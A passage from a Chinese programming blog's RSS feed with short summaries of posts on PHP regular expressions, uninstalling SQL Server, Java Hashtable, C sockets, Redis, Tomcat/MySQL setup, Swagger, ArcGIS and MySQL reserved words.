      <description>概述 正则表达式是一种描述字符串结果的语法规则，是一个特定的格式化模式，可以匹配、替换、截取匹配的字符串。常用的语言基本上都有正则表达式，如JavaScript、java等。其实，只有了解一种语言的正则使用，其他语言的正则使用起来，就相对简单些。文本主要围绕解决下面问题展开。&#xA;有哪些常用的转义字符什么是限定符与定位符什么是单词定位符特殊字符有哪些什么是逆向引用以及怎样使用逆向引用匹配模式php中怎样使用正则表达式php中哪些方面需要用到正则怎样进行邮箱匹配，url匹配，手机匹配怎样使用正则替换字符串中某些字符贪婪匹配与惰性匹配区别正则表达式之回溯与固态分组正则优缺点有哪些 正则表达式的基本知识汇总 行定位符（^与$） 行定位符是用来描述字符串的边界。“$”表示行结尾“^”表示行开始如&#34;^de&#34;，表示以de开头的字符串 &#34;de$&#34;,表示以de结尾的字符串。&#xA;单词定界符 我们在查找的一个单词的时候，如an是否在一个字符串”gril and body”中存在，很明显如果匹配的话，an肯定是可以匹配字符串“gril and body”匹配到，怎样才能让其匹配单词，而不是单词的一部分呢？这时候，我们可以是哟个单词定界符\b。 \ban\b 去匹配”gril and body”的话，就会提示匹配不到。 当然还有一个大写的\B，它的意思，和\b正好相反，它匹配的字符串不能使一个完整的单词，而是其他单词或字符串中的一部分。如\Ban\B。&#xA;选择字符(|) ，表示或 选择字符表示或的意思。如Aa|aA，表示Aa或者是aA的意思。注意使用”[]”与”|”的区别，在于”[]”只能匹配单个字符，而”|”可以匹配任意长度的字符串。在使用”[]”的时候，往往配合连接字符”-“一起使用，如[a-d],代表a或b或c或d。&#xA;排除字符，排除操作 正则表达式提供了”^”来表示排除不符合的字符，^一般放在[]中。如[^1-5]，该字符不是1~5之间的数字。&#xA;限定符(？*+{n，m}) 限定符主要是用来限定每个字符串出现的次数。&#xA;限定字符含义？零次或一次*零次或多次+一次或多次{n}n次{n,}至少n次{n,m}n到m次 如(D+)表示一个或多个D&#xA;点号操作符 匹配任意一个字符（不包含换行符）&#xA;表达式中的反斜杠(\) 表达式中的反斜杠有多重意义，如转义、指定预定义的字符集、定义断言、显示不打印的字符。&#xA;转义字符 转义字符主要是将一些特殊字符转为普通字符。而这些常用特殊字符有”.”，”?”、”\”等。&#xA;指定预定义的字符集 字符含义\d任意一个十进制数字[0-9]\D任意一个非十进制数字\s任意一个空白字符(空格、换行符、换页符、回车符、字表符)\S任意一个非空白字符\w任意一个单词字符\W任意个非单词字符 ###显示不可打印的字符&#xA;字符含义\a报警\b退格\f换页\n换行\r回车\t字表符 括号字符() 在正则表达式中小括号的作用主要有:&#xA;改变限定符如（|、* 、^)的作用范围 如(my|your)baby，如果没有”()”，|将匹配的是要么是my，要么是yourbaby,有了小括号，匹配的就是mybaby或yourbaby。进行分组，便于反向引用 反向引用 反向引用，就是依靠子表达式的”记忆”功能，匹配连续出现的字串或是字符。如(dqs)(pps)\1\2，表示匹配字符串dqsppsdqspps。在下面php应用中，我将详细展开学习反向引用。&#xA;模式修饰符 模式修饰符的作用是设定模式，也就是正则表达式如何解释。php中主要模式如下表：&#xA;修饰符说明i忽略大小写m多文本模式s单行文本模式x忽略空白字符 正则表达式在php中应用 php中字符串匹配 所谓的字符串匹配，言外之意就是判断一个字符串中，是否包含或是等于另一个字符串。如果不使用正则，我们可以使用php中提供了很多方法进行这样的判断。&#xA;不使用正则匹配 strstr函数 string strstr ( string haystack,mixedneedle [, bool $before_needle = false ]) 注1：haystack是当事字符串，needle是被查找的字符串。该函数区分大小写。注2：返回值是从needle开始到最后。注3：关于$needle，如果不是字符串，被当作整形来作为字符的序号来使用。注4：before_needle若为true,则返回前东西。stristr函数与strstr函数相同，只是它不区分大小写strpo函数 int strpos ( string haystack,mixedneedle [, int $offset = 0 ] ) 注1：可选的 offset 参数可以用来指定从 haystack 中的哪一个字符开始查找。返回的数字位置是相对于 haystack 的起始位置而言的。stripos -查找字符串首次出现的位置（不区分大小定）strrpos -计算指定字符串在目标字符串中最后一次出现的位置strripos -计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写） 使用正则进行匹配 在php中，提供了preg_math()和preg_match_all函数进行正则匹配。关于这两个函数原型如下：</description>
    </item>
    <item>
      <title>数据库SQL的安装与卸载，以及注册表无操作权限时</title>
      <link>https://bchobby.github.io/posts/bec45f9f5ea600ca6b49b2288beeefd3/</link>
      <pubDate>Thu, 28 Jul 2016 10:06:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bec45f9f5ea600ca6b49b2288beeefd3/</guid>
      <description>sql的安装网上教程很多，这里主要讲卸载以及安装与卸载及删除过程中常见注册表的问题&#xA;SQL Server的卸载：&#xA;(一)卸载SQL程序，用360或者电脑管家或在控制面板里找，利用 Windows Install Clean Up软件 （二） 手工删除安装目录，默认情况下位于： C:\Program Files\Microsoft SQL Server C:\Program Files (x86)\Microsoft SQL Server C:\Users\Administrator\请仔细查找……&#xA;C:\WINDOWS\inf \ MSSQLServer 下所用文件(我是在该文件夹下搜索“sqlserver”，然后删除所有结果文件)&#xA;（三）删除注册表 （1） 删除以下注册表子项： HKEY_LOCAL_ MACHINE \ SOFTWARE \ Microsoft \MSSQLServer HKEY_LOCAL_ MACHINE \ SOFTWARE \ Microsoft \ Microsoft SQL Server HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search //卸载Microsoft Search 服务 （2） 卸载Microsoft 全文查询，还需要删除： HKEY_LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \ Services \ MSSQLServer HKEY_LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \Services\ MSSQLServerADHelper HKEY_LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \Services\ MSSQLServerOLAPService HKEY_LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \Services\MSFTPSVC HKEY_LOCAL_ MACHINE \ SYSTEM\ CurrentControlSet \Services\MSSCNTRS HKEY_LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \Services\MSSEARCH HKEY_LOCAL_ MACHINE \ SYSTEM \CurrentControlSet\Services\MSSGATHERVER HKEY_LOCAL_ MACHINE \ SYSTEM \CurrentControlSet\Services\MSSGTHRSVC HKEY_LOCAL_ MACHINE \ SYSTEM \CurrentControlSet\Services\MSSINDEX HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLSERVER AGENT</description>
    </item>
    <item>
      <title>HashTable的使用和原理</title>
      <link>https://bchobby.github.io/posts/7727867c7a30219190d12e499092708e/</link>
      <pubDate>Mon, 25 Jul 2016 14:37:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7727867c7a30219190d12e499092708e/</guid>
      <description>一、---使用方式--- （1）Hashtable 是一个散列表，它存储的内容是键值对(key-value)映射。&#xA;（2）Hashtable 继承于Dictionary，实现了Map、Cloneable、java.io.Serializable接口。&#xA;（3）Hashtable 的函数都是同步的，这意味着它是线程安全的。它的key、value都不可以为null。&#xA;如下是Hashtable 的简单使用方式：在遍历时使用是三种遍历方式来对其进行遍历&#xA;package ThreeWeek; import java.util.Enumeration; import java.util.Hashtable; import java.util.Iterator; import java.util.Map; import java.util.Map.Entry; public class HashTableTest { public static void main(String args[]){ Hashtable&amp;lt;String, Integer&amp;gt; table = new Hashtable&amp;lt;String, Integer&amp;gt;(); //[1]添加元素 table.put(&#34;zhangsan&#34;, 22); table.put(&#34;lisi&#34;, 33); table.put(&#34;wangwu&#34;, 44); //[2]toString()方式打印 System.out.println(table.toString()); //[3]Iterator遍历方式1--键值对遍历entrySet() Iterator&amp;lt;Entry&amp;lt;String, Integer&amp;gt;&amp;gt; iter = table.entrySet().iterator(); while(iter.hasNext()){ Map.Entry&amp;lt;String, Integer&amp;gt; entry = (Map.Entry&amp;lt;String, Integer&amp;gt;)iter.next(); String key = entry.getKey(); int value = entry.getValue(); System.out.println(&#34;entrySet:&#34;+key+&#34; &#34;+value); } System.</description>
    </item>
    <item>
      <title>最简单的server/client程序</title>
      <link>https://bchobby.github.io/posts/04d32aaac727496afe181d9764708328/</link>
      <pubDate>Sun, 24 Jul 2016 22:51:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04d32aaac727496afe181d9764708328/</guid>
      <description>编写了一个最简单的server/client聊天工具练练手：&#xA;server.c 的作用是接受client的请求,并与client进行简单的数据通信,整体为一个阻塞式的网络聊天工具。&#xA;server.c: #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;sys/socket.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;netinet/in.h&amp;gt; #include &amp;lt;arpa/inet.h&amp;gt; #include &amp;lt;pthread.h&amp;gt; const short port = 8080; char *ip = &#34;127.0.0.1&#34;; void *pthread_run(void *arg) { int fd = (int)arg; char buf[1024]; memset(buf, &#39;\0&#39;, sizeof(buf)); while (1) { ssize_t sz = read(fd, buf, sizeof(buf) - 1); if (sz &amp;lt; 0) { perror(&#34;read&#34;); break; } else if (0 == sz) { printf(&#34;read done...\n&#34;); break; } else { buf[sz - 1] = &#39;\0&#39;; printf(&#34;</description>
    </item>
    <item>
      <title>c/c&#43;&#43;编程题 之 猴子选大王（数组、链表两种方法）</title>
      <link>https://bchobby.github.io/posts/79986f418c72764c504e97dbbaffaea9/</link>
      <pubDate>Thu, 21 Jul 2016 10:45:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79986f418c72764c504e97dbbaffaea9/</guid>
      <description>题目描述 一群猴子要选新猴王。新猴王的选择方法是：让N只候选猴子围成一圈，从某位置起顺序编号为1-N号。从第1号开始报数，每轮从1报到3，凡报到3的猴子即退出圈子，接着又从紧邻的下一只猴子开始同样的报数。如此不断循环，最后剩下的一只猴子就选为猴王。请问是原来第几号猴子当选猴王？&#xA;输入 输入在一行中给一个正整数N（&amp;lt;=1000）。&#xA;输出 在一行中输出当选猴王的编号。&#xA;样例输入 11 样例输出 7&#xA;AC代码如下：&#xA;#include &#34;iostream&#34; using namespace std; int main(int argc, char* argv[]) { int count=0,num,i; int a[1010],n; cin&amp;gt;&amp;gt;n; num=n;//记录未退出的猴子数 for (i=1;i&amp;lt;=n;i++) { a[i]=1;//每个猴子标记为1，表示该猴子未退出 } while(num!=1)//当只有一猴子时，退出循环 { for (i=1;i&amp;lt;=n;i++) { if (a[i]==1) { count++; } if (count==3) { a[i]=0; // num--; //退出一只猴子 count=0; } } } for (i=1;i&amp;lt;=n;i++) { if (a[i]==1)//输出最后剩下的那只猴子，猴王 { cout&amp;lt;&amp;lt;i&amp;lt;&amp;lt;endl; break; } } return 0; } 链表实现： #include &amp;lt;iostream&amp;gt; #include &amp;lt;stdio.</description>
    </item>
    <item>
      <title>redis数据类型SortedSet的常用命令</title>
      <link>https://bchobby.github.io/posts/c1d422082f2eef147cfa7a879175ebd1/</link>
      <pubDate>Wed, 20 Jul 2016 17:10:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1d422082f2eef147cfa7a879175ebd1/</guid>
      <description>redis的文档写的还是比较详细的，中文版: http://doc.redisfans.com/ 英文版:http://redis.io/commands。这篇文章主要是自己亲自实践一下redis的基本操作，做个备忘，加深印象。&#xA;ZADD key score member [[score member] [score member] ...] 将一个或多个 member 元素及其 score 值加入到有序集 key 当中。&#xA;如果某个 member 已经是有序集的成员，那么更新这个 member 的 score 值，并通过重新插入这个 member 元素，来保证该 member 在正确的位置上。&#xA;score 值可以是整数值或双精度浮点数。&#xA;如果 key 不存在，则创建一个空的有序集并执行 ZADD 操作。&#xA;当 key 存在但不是有序集类型时，返回一个错误。&#xA;返回值：&#xA;被成功添加的新成员的数量，不包括那些被更新的、已经存在的成员。&#xA;例子：&#xA;# 添加单个元素 redis&amp;gt; ZADD page_rank 10 google.com (integer) 1 # 添加多个元素 redis&amp;gt; ZADD page_rank 9 baidu.com 8 bing.com (integer) 2 redis&amp;gt; ZRANGE page_rank 0 -1 WITHSCORES 1) &#34;</description>
    </item>
    <item>
      <title>大范围移动延时摄影后期去抖总结</title>
      <link>https://bchobby.github.io/posts/a1059caec59d296ef8d1f2f0c986f4d5/</link>
      <pubDate>Tue, 19 Jul 2016 22:25:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1059caec59d296ef8d1f2f0c986f4d5/</guid>
      <description>前期拍摄 前期拍摄时应尽量保证画面平稳，注意对准选定的参考点以及检查电子水平仪保持水平（过大的抖动后期只能手动去抖，而且效果没有保证）。&#xA;后期流程 首先参考《延时去闪大致流程》（链接：http://blog.csdn.net/lczdk/article/details/51755457），对画面进行去闪处理。&#xA;去闪完成后通过lr导出为JPG格式图片，并使用pr将图片导入为jpg序列&#xA;使用导入的jpg序列新建一个视频序列，并套用pr自带的 变形稳定器（视频效果&amp;gt;扭曲&amp;gt;变形稳定器） 效果进行自动去闪。设置如下图： 其中红圈两项按实际情况决定大小（前期画面抖动大就调大点数值）。&#xA;如果前期抖动比较厉害的话，自动去抖动后画面可能还会有部分抖动，这是进行手动除抖&#xA;用ps做一个如图的背景透明的参考线： 将参考线至于视频序列上方并对齐视频中的水平或垂直的线（最好是经过前期参考点的线条，这样防止线条位移带来的不便）&#xA;将抖动的小序列片段或单帧画面用剃刀工具剪出，对照参考线进行画面调整（一般是位移或旋转画面）&#xA;最后裁剪去画面边缘的无图像部分，处理成想要的分辨率导出即可。&#xA;ps.前期还是要尽量保持画面稳定啊啊啊啊啊，后期手动除抖又费时间而且效果还没保证的说！！！</description>
    </item>
    <item>
      <title>关于配置阿里云服务器的一些坑</title>
      <link>https://bchobby.github.io/posts/f31946dd58f0644454f0808fbc5bbd9c/</link>
      <pubDate>Sat, 16 Jul 2016 19:15:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f31946dd58f0644454f0808fbc5bbd9c/</guid>
      <description>之前自己买了一台阿里云的服务器，一直没时间配置，这几天老大看要项目演示，没办法，这个服务器必须要配起来了。&#xA;这里先说下我要的环境是什么吧。JDK6 + Tomcat 6 + MySQL。对的，是比较老的一些版本了。但是这有什么关系了，能跑通代码我就很开心了。&#xA;JDK 6 首先说下JDK 6 吧，这个直接从官网上下载，我的是window 64 位。选择自己系统的就行了。然后就是一顿安装。安装完后关键来了。注意下要配置环境。&#xA;我这边就直接是百度经验的配置环境。其实配置环境就那个几步骤，直接贴上链接，我也不去粘贴复制了。http://jingyan.baidu.com/album/6dad5075d1dc40a123e36ea3.html?picindex=1&#xA;Tomcat 6 1.解压tomcat：tomcat 6 我是直接用的解压版的。直接解压文件就行了。jdk必须保证已经先安装好了。然后点击bin下的startup.bat就是开启tomcat服务。&#xA;2.防止tomcat启动闪退措施：&#xA;修改startup.bat文件：&#xA;在第一行前面加入如下两行－－&#xA;SET JAVA_HOME=D:\Program Files\Java\jdk1.6.0_14(JDK目录)&#xA;SET CATALINA_HOME=D:\Program Files\tomcat(解压后Tomcat的目录)&#xA;3.进入tomcat主页：打开浏览器的http://localhost:8080。如果显示成功就说明tomcat安装好了。&#xA;4.配置端口号：我们每次在浏览器中访问的时候都需要输入8080端口，现在要修改下配置端口为80，这时候我们就不需要在访问的时候输入端口了。直接输入地址就是默认的访问80端口了。打开%CATALANA_HOME%\conf\server.xml文件：&#xA;http默认端口号为80，也就是说在URL中不给出端口号时就表示使用80端口。当然你也可以修改为其它端口号。当把端口号修改为80后，在浏览器中只需要输入：http://localhost就可以访问Tomcat主页了。&#xA;5.项目文件设置：Tomcat设置默认启动项目，顾名思义，就是让可以在浏览器的地址栏中输入ip，就能访问到我们的项目。具体操作如下：&#xA;打开tomcat的安装根目录，找到Tomcat 6.0\conf\server.xml，打开该文件，找到&amp;lt;Host&amp;gt;节点，在该节点中添加&amp;lt;Context path=&#34;&#34; docBase=&#34;../WebTest&#34; debug=&#34;0&#34; reloadable=&#34;true&#34;/&amp;gt;。&#xA;再将WebTest工程放到tomcat根目录下，并将webapps文件夹中的ROOT文件夹删除或者重命名为另外一个名字。&#xA;启动tomcat，在浏览器中输入ip，就可以访问到你的项目了。&#xA;注意：&amp;lt;Context&amp;gt;节点中的docBase属性的值是指向web工程的绝对路径。&#xA;这样子tomcat部分就配置完毕了。&#xA;MySQL&#xA;最后就是配置mysql了。在这上面我可吃了不少的坑。。。&#xA;一、安装mysql。我选的还是解压版的。直接解压。然后在mysql-5.6.21-win32目录下有一个my-default.ini文件（可能版本不同有的人没有，但是不重要）。把他改为my.ini。就是最后我们只要确保文件夹下有一个my.ini就可以了。my.ini打开它里面有一个重要的东西配置（我的mysql安装在F:\SQL\mysql-5.6.21-win32\mysql-5.6.21-win32路径下）：&#xA;就是basedir和datadir要记得配置。然后在电脑环境Path后面添加“mysql安装路径\bin;&#34;&#xA;二、配置完后要安装mysql服务和启动mysql服务。打开cmd，进入到mysql目录\bin目录下，然后输入一下指令：&#xA;mysqld -install安装mysql服务&#xA;net start mysql启动mysql服务&#xA;这个时候如果报错，&#xA;第一种可能就是你的my.ini书写错误。&#xA;第二种就是就是你可以把my.ini移动到C：WINDOWS目录下。&#xA;第三种就是你只能卸载重装一遍（我就是这种情况），重装mysql之前要记得删除这几个东西【&#xA;1.mysql的目录 2.刚刚移动到WINDOWS下的my.ini文件&#xA;3.mysql的注册表（开始-&amp;gt;运行-&amp;gt; regedit 看看注册表里这几个地方删除没有 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL 目录删除 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Application\MySQL 目录删除 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\MySQL 目录删除）】&#xA;然后在重复上面的一、二步骤。还是重启。请重启。重启有惊喜。</description>
    </item>
    <item>
      <title>Spring MVC中使用Swagger生成API文档和完整项目示例Demo，swagger-server-api</title>
      <link>https://bchobby.github.io/posts/56f17e2e209513d8649004f5ded0f2b2/</link>
      <pubDate>Sat, 16 Jul 2016 12:27:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56f17e2e209513d8649004f5ded0f2b2/</guid>
      <description>本文作者：小雷FansUnion-一个有创业和投资经验的资深程序员-全球最大中文IT社区CSDN知名博主-排名第119 实际项目中非常需要写文档，提高Java服务端和Web前端以及移动端的对接效率。 听说Swagger这个工具，还不错，就网上找了些资料，自己实践了下。 一：Swagger介绍&#xA;Swagger是当前最好用的Restful API文档生成的开源项目，通过swagger-spring项目&#xA;实现了与SpingMVC框架的无缝集成功能，方便生成spring restful风格的接口文档，&#xA;同时swagger-ui还可以测试spring restful风格的接口功能。&#xA;官方网站为：http://swagger.io/&#xA;中文网站：http://www.sosoapi.com 二：Swagger与Spring MVC集成步骤 1.Maven关键配置 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.mangofactory&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;swagger-springmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.6.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2. 插件配置 CustomJavaPluginConfig 3.复制swagger的相关js等静态资源到webapp目录。 swagger-ui.js之类的。 我copy过一次，但是有问题，最后从网上下载了一个项目，可以直接用的那种。 然后自己再逐步改造。 4.启动项目 http://localhost:8080/ 三、常见swagger注解一览与使用 最常用的5个注解 @Api：修饰整个类，描述Controller的作用&#xA;@ApiOperation：描述一个类的一个方法，或者说一个接口&#xA;@ApiParam：单个参数描述&#xA;@ApiModel：用对象来接收参数&#xA;@ApiProperty：用对象接收参数时，描述对象的一个字段&#xA;其它若干&#xA;@ApiResponse：HTTP响应其中1个描述&#xA;@ApiResponses：HTTP响应整体描述&#xA;@ApiClass&#xA;@ApiError&#xA;@ApiErrors&#xA;@ApiParamImplicit&#xA;@ApiParamsImplicit&#xA;四、关键代码和实际例子 例子1： @ApiOperation(value = &#34;获得用户列表&#34;, notes = &#34;列表信息&#34;, httpMethod = &#34;POST&#34;, produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody @RequestMapping(value = &#34;list&#34;, method = RequestMethod.</description>
    </item>
    <item>
      <title>c&#43;&#43;三目运算符的坑</title>
      <link>https://bchobby.github.io/posts/c1917785a1ee5e5fe1ef33f8ca05d38c/</link>
      <pubDate>Wed, 13 Jul 2016 16:17:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1917785a1ee5e5fe1ef33f8ca05d38c/</guid>
      <description> 写了7,8年的c++的代码，第一次在三木运算符上遇到坑。&#xA;pstrValue = ProbeBind(pstrValue) ? ParseBind(pstrValue) : pstrValue; ParseBind 返回值的类型与pstrValue是不一样的类型的，结果发现在运算的时候，不管ProbeBind函数返回true或者false，pstrValue会被隐私转换到ParseBind的返回值类型上，于是就会有临时对象产生出现了bug。&#xA;通过这种方式解决以下问题：&#xA;pstrValue = ProbeBind(pstrValue) ? decltype(pstrValue)(ParseBind(pstrValue)) : pstrValue; </description>
    </item>
    <item>
      <title>Android-你还在用downloadmanager更新下载-out了！！！</title>
      <link>https://bchobby.github.io/posts/ae27d74ccf8306d70eeee7325527aaad/</link>
      <pubDate>Sat, 09 Jul 2016 16:12:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae27d74ccf8306d70eeee7325527aaad/</guid>
      <description> 轻松搞定下载MyDownloadManager 序言： 软件更新想必大家都用过，很多是用友盟的下载，但是也有自己公司服务器下载的处理方式，本文主要讲解的是自己下载的处理方法 想必大家就会说，这还用自己做呀，系统自带的一行代码不就解决了-------DownloadManager，如果你还在用这个下载，那你就太年轻了，不是说这个方法不好，而是在中国这样的大环境下********你懂的，三星note系列部分手机需要手动打开这个权限才能用这个功能（确定不是逗我？？？？），而有些国产手机更加nb了直接个阉割了（nm） 好吧，既然这样还是规规矩矩的自己写吧，同样的需求我标示ios分分钟搞定，咱们这边无数的坑呀，废话到处结束！咱们看如何自己写一个DownloadManager！先上效果 流程： 正常的逻辑我们需要先通过服务器判断是否需要更新软件，然后如果需要则返回一个url下载链接，下载安装更新 实现： 1.获取更新的url然后启动服务后台下载 2.后台服务器中启动下载和通知 下载使用的是xutils，大家可以自己替换你自己喜欢的下载框架（自己写也是可以的！！！） 3.在onlading中更新通知栏更新就行了！下载完成或者错误以后停止后台服务然后关闭通知栏通知信息&#xA;4.安装apk 最后啰嗦几句关于布局文件中的progressbar自定义背景（如果是处女座请详细学习这些属性的差别吧！） 第一种： 第二种： 第一种的实现方式是优化的实现： 第二种： 5.需要注意的细节： 启动服务的时候千万别用action的方式去启动，部分手机无法启动（Galaxy A8亲测不好用呀）憋忘记添加网络权限和本地文件读写权限记得关闭服务 6.更多细节大家看源码吧，不啰嗦了都挺忙的：戳我************************* </description>
    </item>
    <item>
      <title>Matlab： num与date的格式转换</title>
      <link>https://bchobby.github.io/posts/573ada7012da4e6d516cdcad8719945c/</link>
      <pubDate>Wed, 06 Jul 2016 23:10:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/573ada7012da4e6d516cdcad8719945c/</guid>
      <description> 日期格式（年，月，日）转化为数字&#xA;&amp;gt;&amp;gt; n = datenum(2001,12,19) n = 731204 反过来，数字如何转化为日期格式呢？&#xA;&amp;gt;&amp;gt; datestr(731204,&#39;yyyy-mm-dd&#39;) ans = 2001-12-19 </description>
    </item>
    <item>
      <title>ArcGIS中利用DEM制作立体晕渲图的说明</title>
      <link>https://bchobby.github.io/posts/7a61f2b1a0b4e7cbd48459cb904e06ac/</link>
      <pubDate>Sat, 02 Jul 2016 17:12:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a61f2b1a0b4e7cbd48459cb904e06ac/</guid>
      <description>DEM作为4D产品之一，在测绘生产中具有重要作用。利用DEM数据做作晕渲图，并对其进行分层设色，可以很好的反映一个地方的地形。下面以黑龙江省为例，采用90m分辨率的DEM数据，在ArcGIS 10.2中制作黑龙江省的晕渲图。&#xA;数据准备：黑龙江省90m分辨率的DEM数据，省、市（县）行政界线，市、县居民地，以及三级以上河流。&#xA;所用软件：ArcGIS 10.2&#xA;制作步骤：&#xA;1. 根据DEM生产山体阴影（HIllshade）&#xA;为了使晕渲图具有一定的立体效果，需要生成立体阴影，在ArcGIS的ArcToolbox中操作如下：按照顺序ArcToolbox -&amp;gt; 3DAnalyst Tools - &amp;gt; Raster Surface -&amp;gt; Hillshade，打开生成山体阴影的对话框，如图1所示，设置各项参数，各项参数的说明如下：&#xA;图1 Hillshade操作&#xA;Inputraster：生成山体阴影用到的DEM数据；&#xA;Output raster：输出山体阴影的路径和名称；&#xA;Azimuth：太阳方位角，控制的是山体阴影所在的方向，从正北方向起算，顺时针方向为正值，默认值为315；&#xA;Altitude：太阳高度角，控制的是太阳的高度，决定阴影的多少，以正东方向起算，逆时针方向为正值，默认值为45；&#xA;Z factor：垂直比例因子，决定山体阴影山脊线的精细程度，值越大，山脊线越突出，默认值为1。&#xA;以上各参数的设置，取决于所在地域的DEM数据。总体来说，太阳高度角越大，阴影越少，垂直比例因子越大，山脊线越突出。&#xA;生成的山体阴影是灰度的，现在将其按照灰度值增大设置为从绿至白的颜色，效果如下图2所示：&#xA;图2 山体阴影效果图（此处太阳方位角和高度角为默认值，垂直因子为3）&#xA;2. 对DEM数据进行分层设色&#xA;为了尽可能显示不同高程的变化，对DEM进行分类，此处采用ArcGIS自带的自然间隔分类方法，将其分为32类，且选用ArcGIS自带的色带Elevation #1（效果为，事实证明该色带效果好）对他们进行着色，效果如图3所示：&#xA;图3 DEM分层设色图&#xA;3. 山体阴影与DEM数据叠加&#xA;为了使晕渲图具有立体效果，且色彩丰富，在ArcGIS中同时添加上述生成的山体阴影图和DEM分层设色图，且将DEM分层设色图放在上面，将其透明度设置为60%，叠加的效果如图4所示；局部放大后的效果如图5所示。从图中可以看出，晕渲图的立体效果较好。&#xA;图4 叠加后的晕渲图&#xA;图5 放大后的效果图&#xA;4. 添加必要的行政界线、河流等信息&#xA;为了使晕渲图的信息更加完整，添加上黑龙江省市县行政界线，市县居民地以及三级以上河流，最终的效果如下图6所示：&#xA;图6 黑龙江省DEM晕渲图&#xA;以上步骤仅为ArcGIS中制作DEM晕渲图的基本步骤，还有很多需要完善的地方。生成山体阴影的参数，需要根据区域的高程特点设置，尤其是太阳高度角和垂直系数的设置，它们直接决定了阴影的多少和山脊线的精细程度。DEM分层的数量，也要根据实际情况来设置，总体而言，分层越多，细节越丰富。由于各地行政区划的调整，黑龙江省的行政界线可能与现实情况有所出入，请以黑龙江省最新的行政界线为准；&#xA;说明：此说明文档参考了仲佳、王永等人的论文《利用DEM制作晕渲图的方法讨论》。</description>
    </item>
    <item>
      <title>ABAP 创建会计凭证错误：BKPFF $ RTDCLNT300</title>
      <link>https://bchobby.github.io/posts/05189ececff5cd856e61770de4bb6dc0/</link>
      <pubDate>Thu, 30 Jun 2016 16:34:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05189ececff5cd856e61770de4bb6dc0/</guid>
      <description>这个已经在上一篇文章中说过&#xA;所以，还是检查参数&#xA;确认记账码等参数是否填写正确。&#xA;可加群：455101474&#xA;讨论问题。</description>
    </item>
    <item>
      <title>MySQL保留字</title>
      <link>https://bchobby.github.io/posts/644450daaf14aee7f204787129cfa474/</link>
      <pubDate>Wed, 29 Jun 2016 11:02:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/644450daaf14aee7f204787129cfa474/</guid>
      <description>Mysql 关键字-保留字&#xA;ADD ALL ALTER ANALYZE AND AS ASC ASENSITIVE BEFORE BETWEEN BIGINT BINARY BLOB BOTH BY CALL CASCADE CASE CHANGE CHAR CHARACTER CHECK COLLATE COLUMN CONDITION CONNECTION CONSTRAINT CONTINUE CONVERT CREATE CROSS CURRENT_DATE CURRENT_TIME CURRENT_TIMESTAMP CURRENT_USER CURSOR DATABASE DATABASES DAY_HOUR DAY_MICROSECOND DAY_MINUTE DAY_SECOND DEC DECIMAL DECLARE DEFAULT DELAYED DELETE DESC DESCRIBE DETERMINISTIC DISTINCT DISTINCTROW DIV DOUBLE DROP DUAL EACH ELSE ELSEIF ENCLOSED ESCAPED EXISTS EXIT EXPLAIN FALSE FETCH FLOAT FLOAT4 FLOAT8 FOR FORCE FOREIGN FROM FULLTEXT GOTO GRANT GROUP HAVING HIGH_PRIORITY HOUR_MICROSECOND HOUR_MINUTE HOUR_SECOND IF IGNORE IN INDEX INFILE INNER INOUT INSENSITIVE INSERT INT INT1 INT2 INT3 INT4 INT8 INTEGER INTERVAL INTO IS ITERATE JOIN KEY KEYS KILL LABEL LEADING LEAVE LEFT LIKE LIMIT LINEAR LINES LOAD LOCALTIME LOCALTIMESTAMP LOCK LONG LONGBLOB LONGTEXT LOOP LOW_PRIORITY MATCH MEDIUMBLOB MEDIUMINT MEDIUMTEXT MIDDLEINT MINUTE_MICROSECOND MINUTE_SECOND MOD MODIFIES NATURAL NOT NO_WRITE_TO_BINLOG NULL NUMERIC ON OPTIMIZE OPTION OPTIONALLY OR ORDER OUT OUTER OUTFILE PRECISION PRIMARY PROCEDURE PURGE RAID0 RANGE READ READS REAL REFERENCES REGEXP RELEASE RENAME REPEAT REPLACE REQUIRE RESTRICT RETURN REVOKE RIGHT RLIKE SCHEMA SCHEMAS SECOND_MICROSECOND SELECT SENSITIVE SEPARATOR SET SHOW SMALLINT SPATIAL SPECIFIC SQL SQLEXCEPTION SQLSTATE SQLWARNING SQL_BIG_RESULT SQL_CALC_FOUND_ROWS SQL_SMALL_RESULT SSL STARTING STRAIGHT_JOIN TABLE TERMINATED THEN 